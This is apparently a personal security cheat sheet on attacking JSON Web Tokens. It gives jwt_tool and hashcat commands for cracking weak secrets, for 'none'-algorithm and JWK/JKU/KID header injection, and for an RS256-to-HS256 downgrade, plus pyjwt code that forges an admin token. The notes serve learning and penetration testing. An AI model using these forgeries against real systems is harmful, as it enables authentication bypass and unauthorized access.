JSON Web Token (JWT)

hacking_jwt json_web_token marketplace

JSON Web Token (JWT) are used to represent signed data. They are commonly used in for authentication and authorization.

The format is: <algo>.<data>.<signature>. Each part is base64 encoded, so the final string is URL-safe while it can be easily decoded.

The data is signed using a secret key. If the secret key is compromised, everyone can sign messages πŸ”.

The signature is used to detect if data was tampered with.

They can be transferred and found in:

  • πŸ“š Headers (Authorization: Bearer <JWT>)
  • πŸͺ Cookies
  • πŸ“„ URL Parameters
  • πŸ’Ό Request Body
  • ...

πŸ“š A common handy wordlist is jwt-secrets.


Common JWT Attacks

You can use jwt-tools (4.8k ⭐) to attack JWT:

$ git clone https://github.com/ticarpi/jwt_tool.git $HOME/tools/jwt_tool
$ chmod +x $HOME/tools/jwt_tool/jwt_tool.py
$ ln -s $HOME/tools/jwt_tool/jwt_tool.py $HOME/.local/bin/jwt_tool
$ jwt_tool -h
$ jwt_tool 'jwt'             # decode
$ jwt_tool 'jwt' -T          # encode
$ jwt_tool 'jwt' -I -pc claim -pv value

You can also use jwt.io.


Secret Key Brute Forcing

jwt_weak_secret

The secret key may be weak and brute forced:

$ jwt_tool 'jwt' -T -p "key" # use secret key
$ jwt_tool 'jwt' -C -d ./jwt.secrets.list # crack key
$ hashcat -m 16500 hash ./jwt.secrets.list

JWT Header Injection β€” None Algorithm

jwt_introduction

We may be able to disable the tampering check by setting the signature algorithm to 'none.'

$ jwt_tool 'jwt' -T -X a     # attack 'algo=none'

πŸ“š It also possible for the signature to not be checked at all by the server after issuing a JWT even if there is an algorithm.


JWT Header Injection β€” JWK

jwt_header_injection

An application may use the jwk header to represent the RSA key used to sign the data. We may be able to inject our own RSA key.

$ jwt_tool 'jwt' -T -X i     # attack 'jwk header injection'
$ jwt_tool 'jwt' -T -X i -hc kid -hv jwt_tool     # with kid

JWT Header Injection β€” JKU

jwt_unsecure_key_handling

The jku header contains a URL or a filename used to fetch a key.

  • When a asymmetric algorithm such as RS is used:
$ cat $HOME/.jwt_tool/jwttool_custom_jwks.json # upload to URL as jwks.json
$ jwt_tool -X s -ju "URL/jwks.json" -I -hc kid -hv jwt_tool -pc claim -pv value

πŸ“š You may check: /jwks.json, /.well-known/jwks.json, etc. Refer to SSRF for insight (filtering, attacks, etc.) and setting up a grabber.


JWT Header Injection β€” KID

jwt_header_injection jwt_unsecure_key_handling jwt_public_key jwt_unsecure_file_signature

The kid header may be present in two scenarios. The first one is to define which key file contains the secret. The second usage is to determines which of the keys in the jku we should use.

$ # The file "/dev/null" is empty so -p is ""
$ jwt_tool "" -I -hc kid -hv "/dev/null" -S hs512 -p "" -pc claim -pv value

➑️ Refer to Path Traversal and my cheatsheet for more notes.


JWT Header Injection β€” RS256 to HS256

jwt_public_key

When using RS256 algorithm, JWT uses the private key to sign the JWK and the public key to verify integrity. We may be able to perform a downgrade attack to HS256 and only use a public key for both.

$ jwt_tool 'jwt' -S hs256 -k public.key -T

You can compute the public key if you have two messages:

$ docker run -it ttervoort/jws2pubkey "JWT1" "JWT2"

Python JWT

The pyjwt (5.0k ⭐) library can be used to manipulate JWT in Python. There are two unmaintained alternatives which are:

headers = {
    'kid': '/dev/null'
}
payload = {
    'role': 'admin',
    'iat': int(datetime.datetime.now(datetime.UTC).timestamp())
}

To install it:

$ pip install pyjwt

To generate a JWT:

import jwt
token = jwt.encode(payload, '', algorithm='HS512', headers=headers)

To decode a JWT:

import jwt
payload = jwt.decode(token, '', algorithms=['HS512'])

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.